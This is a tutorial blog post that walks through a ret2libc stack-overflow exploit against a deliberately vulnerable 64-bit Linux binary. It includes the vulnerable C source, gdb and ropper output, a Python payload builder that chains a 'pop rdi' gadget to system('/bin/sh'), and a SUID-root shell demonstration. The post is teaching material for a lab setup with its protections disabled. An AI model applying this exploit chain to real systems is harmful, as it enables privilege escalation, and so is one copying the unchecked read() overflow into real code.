64-bit Linux stack smashing tutorial: Part 2

This is part 2 of my 64-bit Linux Stack Smashing tutorial. In part 1 we exploited a 64-bit binary using a classic stack overflow and learned that we can’t just blindly expect to overwrite RIP by spamming the buffer with bytes. We turned off ASLR, NX, and stack canaries in part 1 so we could focus on the exploitation rather than bypassing these security features. This time we’ll enable NX and look at how we can exploit the same binary using ret2libc.


The setup is identical to what I was using in part 1. We’ll also be making use of the following:


Here’s the same binary we exploited in part 1. The only difference is we’ll keep NX enabled which will prevent our previous exploit from working since the stack is now non-executable:

<span class="cm">/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc      */</span>
<span class="cm">/* Disable ASLR: echo 0 &gt; /proc/sys/kernel/randomize_va_space     */</span>

<span class="cp">#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
<span class="kt">int</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">r</span><span class="p">;</span>
    <span class="n">r</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Read %d bytes. buf is %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"No shell for you :("</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Try to exec /bin/sh"</span><span class="p">);</span>
    <span class="n">vuln</span><span class="p">();</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

You can also grab the precompiled binary here.

In 32-bit binaries, a ret2libc attack involves setting up a fake stack frame so that the function calls a function in libc and passes it any parameters it needs. Typically this would be returning to system() and having it execute “/bin/sh”.

In 64-bit binaries, function parameters are passed in registers, therefore there’s no need to fake a stack frame. The first six parameters are passed in registers RDI, RSI, RDX, RCX, R8, and R9. Anything beyond that is passed in the stack. This means that before returning to our function of choice in libc, we need to make sure the registers are setup correctly with the parameters the function is expecting. This in turn leads us to having to use a bit of Return Oriented Programming (ROP). If you’re not familiar with ROP, don’t worry, we won’t be going into the crazy stuff.

We’ll start with a simple exploit that returns to system() and executes “/bin/sh”. We need a few things:

  • The address of system(). ASLR is disabled so we don’t have to worry about this address changing.
  • A pointer to “/bin/sh”.
  • Since the first function parameter needs to be in RDI, we need a ROP gadget that will copy the pointer to “/bin/sh” into RDI.

Let’s start with finding the address of system(). This is easily done within gdb:

gdb-peda$ start
gdb-peda$ p system
$1 = {&lt;text variable, no debug info&gt;} 0x7ffff7a5ac40 &lt;system&gt;

We can just as easily search for a pointer to “/bin/sh”:

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --&gt; 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --&gt; 0x68732f6e69622f ('/bin/sh')
    libc : 0x7ffff7b9209b --&gt; 0x68732f6e69622f ('/bin/sh')

The first two pointers are from the string in the binary that prints out “Try to exec /bin/sh”. The third is from libc itself, and in fact if you do have access to libc, then feel free to use it. In this case, we’ll go with the first one at 0x4006ff.

Now we need a gadget that copies 0x4006ff to RDI. We can search for one using ropper. Let’s see if we can find any instructions that use EDI or RDI:

koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di"

0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;

3 gadgets found

The third gadget that pops a value off the stack into RDI is perfect. We now have everything we need to construct our exploit:

<span class="c">#!/usr/bin/env python</span>

<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">buf</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">104</span>                              <span class="c"># junk</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x00000000004006a3</span><span class="p">)</span>       <span class="c"># pop rdi; ret;</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x4006ff</span><span class="p">)</span>                 <span class="c"># pointer to "/bin/sh" gets popped into rdi</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x7ffff7a5ac40</span><span class="p">)</span>           <span class="c"># address of system()</span>

<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"in.txt"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>

This exploit will write our payload into in.txt which we can redirect into the binary within gdb. Let’s go over it quickly:

  • Line 7: We overwrite RIP with the address of our ROP gadget so when vuln() returns, it executes pop rdi; ret.
  • Line 8: This value is popped into RDI when pop rdi is executed. Once that’s done, RSP will be pointing to 0x7ffff7a5ac40; the address of system().
  • Line 9: When ret executes after pop rdi, execution returns to system(). system() will look at RDI for the parameter it expects and execute it. In this case, it executes “/bin/sh”.

Let’s see it in action in gdb. We’ll set a breakpoint at vuln()’s return instruction:

gdb-peda$ br *vuln+73
Breakpoint 1 at 0x40060f

Now we’ll redirect the payload into the binary and it should hit our first breakpoint:

gdb-peda$ r &lt; in.txt
Try to exec /bin/sh
No shell for you :(
   0x400604 &lt;vuln+62&gt;:  call   0x400480 &lt;puts@plt&gt;
   0x400609 &lt;vuln+67&gt;:  mov    eax,0x0
   0x40060e &lt;vuln+72&gt;:  leave
=&gt; 0x40060f &lt;vuln+73&gt;:  ret
   0x400610 &lt;main&gt;: push   rbp
   0x400611 &lt;main+1&gt;:   mov    rbp,rsp
   0x400614 &lt;main+4&gt;:   sub    rsp,0x10
   0x400618 &lt;main+8&gt;:   mov    DWORD PTR [rbp-0x4],edi
0000| 0x7fffffffe508 --&gt; 0x4006a3 (&lt;__libc_csu_init+99&gt;:    pop    rdi)
0008| 0x7fffffffe510 --&gt; 0x4006ff --&gt; 0x68732f6e69622f ('/bin/sh')
0016| 0x7fffffffe518 --&gt; 0x7ffff7a5ac40 (&lt;system&gt;:  test   rdi,rdi)
0024| 0x7fffffffe520 --&gt; 0x0
0032| 0x7fffffffe528 --&gt; 0x7ffff7a37ec5 (&lt;__libc_start_main+245&gt;:   mov    edi,eax)
0040| 0x7fffffffe530 --&gt; 0x0
0048| 0x7fffffffe538 --&gt; 0x7fffffffe608 --&gt; 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0056| 0x7fffffffe540 --&gt; 0x100000000
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040060f in vuln ()

Notice that RSP points to 0x4006a3 which is our ROP gadget. Step in and we’ll return to our gadget where we can now execute pop rdi.

gdb-peda$ si
=&gt; 0x4006a3 &lt;__libc_csu_init+99&gt;:   pop    rdi
   0x4006a4 &lt;__libc_csu_init+100&gt;:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 &lt;__libc_csu_fini&gt;:  repz ret
0000| 0x7fffffffe510 --&gt; 0x4006ff --&gt; 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe518 --&gt; 0x7ffff7a5ac40 (&lt;system&gt;:  test   rdi,rdi)
0016| 0x7fffffffe520 --&gt; 0x0
0024| 0x7fffffffe528 --&gt; 0x7ffff7a37ec5 (&lt;__libc_start_main+245&gt;:   mov    edi,eax)
0032| 0x7fffffffe530 --&gt; 0x0
0040| 0x7fffffffe538 --&gt; 0x7fffffffe608 --&gt; 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0048| 0x7fffffffe540 --&gt; 0x100000000
0056| 0x7fffffffe548 --&gt; 0x400610 (&lt;main&gt;:  push   rbp)
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()

Step in and RDI should now contain a pointer to “/bin/sh”:

gdb-peda$ si
RDI: 0x4006ff --&gt; 0x68732f6e69622f ('/bin/sh')
   0x40069e &lt;__libc_csu_init+94&gt;:   pop    r13
   0x4006a0 &lt;__libc_csu_init+96&gt;:   pop    r14
   0x4006a2 &lt;__libc_csu_init+98&gt;:   pop    r15
=&gt; 0x4006a4 &lt;__libc_csu_init+100&gt;:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 &lt;__libc_csu_fini&gt;:  repz ret
   0x4006b2:    add    BYTE PTR [rax],al
   0x4006b4 &lt;_fini&gt;:    sub    rsp,0x8
0000| 0x7fffffffe518 --&gt; 0x7ffff7a5ac40 (&lt;system&gt;:  test   rdi,rdi)
0008| 0x7fffffffe520 --&gt; 0x0
0016| 0x7fffffffe528 --&gt; 0x7ffff7a37ec5 (&lt;__libc_start_main+245&gt;:   mov    edi,eax)
0024| 0x7fffffffe530 --&gt; 0x0
0032| 0x7fffffffe538 --&gt; 0x7fffffffe608 --&gt; 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0040| 0x7fffffffe540 --&gt; 0x100000000
0048| 0x7fffffffe548 --&gt; 0x400610 (&lt;main&gt;:  push   rbp)
0056| 0x7fffffffe550 --&gt; 0x0
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()

Now RIP points to ret and RSP points to the address of system(). Step in again and we should now be in system()

gdb-peda$ si
   0x7ffff7a5ac35 &lt;cancel_handler+181&gt;: pop    rbx
   0x7ffff7a5ac36 &lt;cancel_handler+182&gt;: ret
   0x7ffff7a5ac37:  nop    WORD PTR [rax+rax*1+0x0]
=&gt; 0x7ffff7a5ac40 &lt;system&gt;: test   rdi,rdi
   0x7ffff7a5ac43 &lt;system+3&gt;:   je     0x7ffff7a5ac50 &lt;system+16&gt;
   0x7ffff7a5ac45 &lt;system+5&gt;:   jmp    0x7ffff7a5a770 &lt;do_system&gt;
   0x7ffff7a5ac4a &lt;system+10&gt;:  nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a5ac50 &lt;system+16&gt;:  lea    rdi,[rip+0x13744c]        # 0x7ffff7b920a3

At this point if we just continue execution we should see that “/bin/sh” is executed:

gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote

Perfect, it looks like our exploit works. Let’s try it and see if we can get a root shell. We’ll change ret2libc’s owner and permissions so that it’s SUID root:

koji@pwnbox:~/ret2libc$ sudo chown root ret2libc
koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc

Now let’s execute our exploit much like we did in part 1:

koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc
Try to exec /bin/sh
No shell for you :(

Got our root shell again, and we bypassed NX. Now this was a relatively simple exploit that only required one parameter. What if we need more? Then we need to find more gadgets that setup the registers accordingly before returning to a function in libc. If you’re up for a challenge, rewrite the exploit so that it calls execve() instead of system(). execve() requires three parameters:

<span class="kt">int</span> <span class="n">execve</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">filename</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">envp</span><span class="p">[]);</span>

This means you’ll need to have RDI, RSI, and RDX populated with proper values before calling execve(). Try to use gadgets only within the binary itself, that is, don’t look for gadgets in libc.

РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *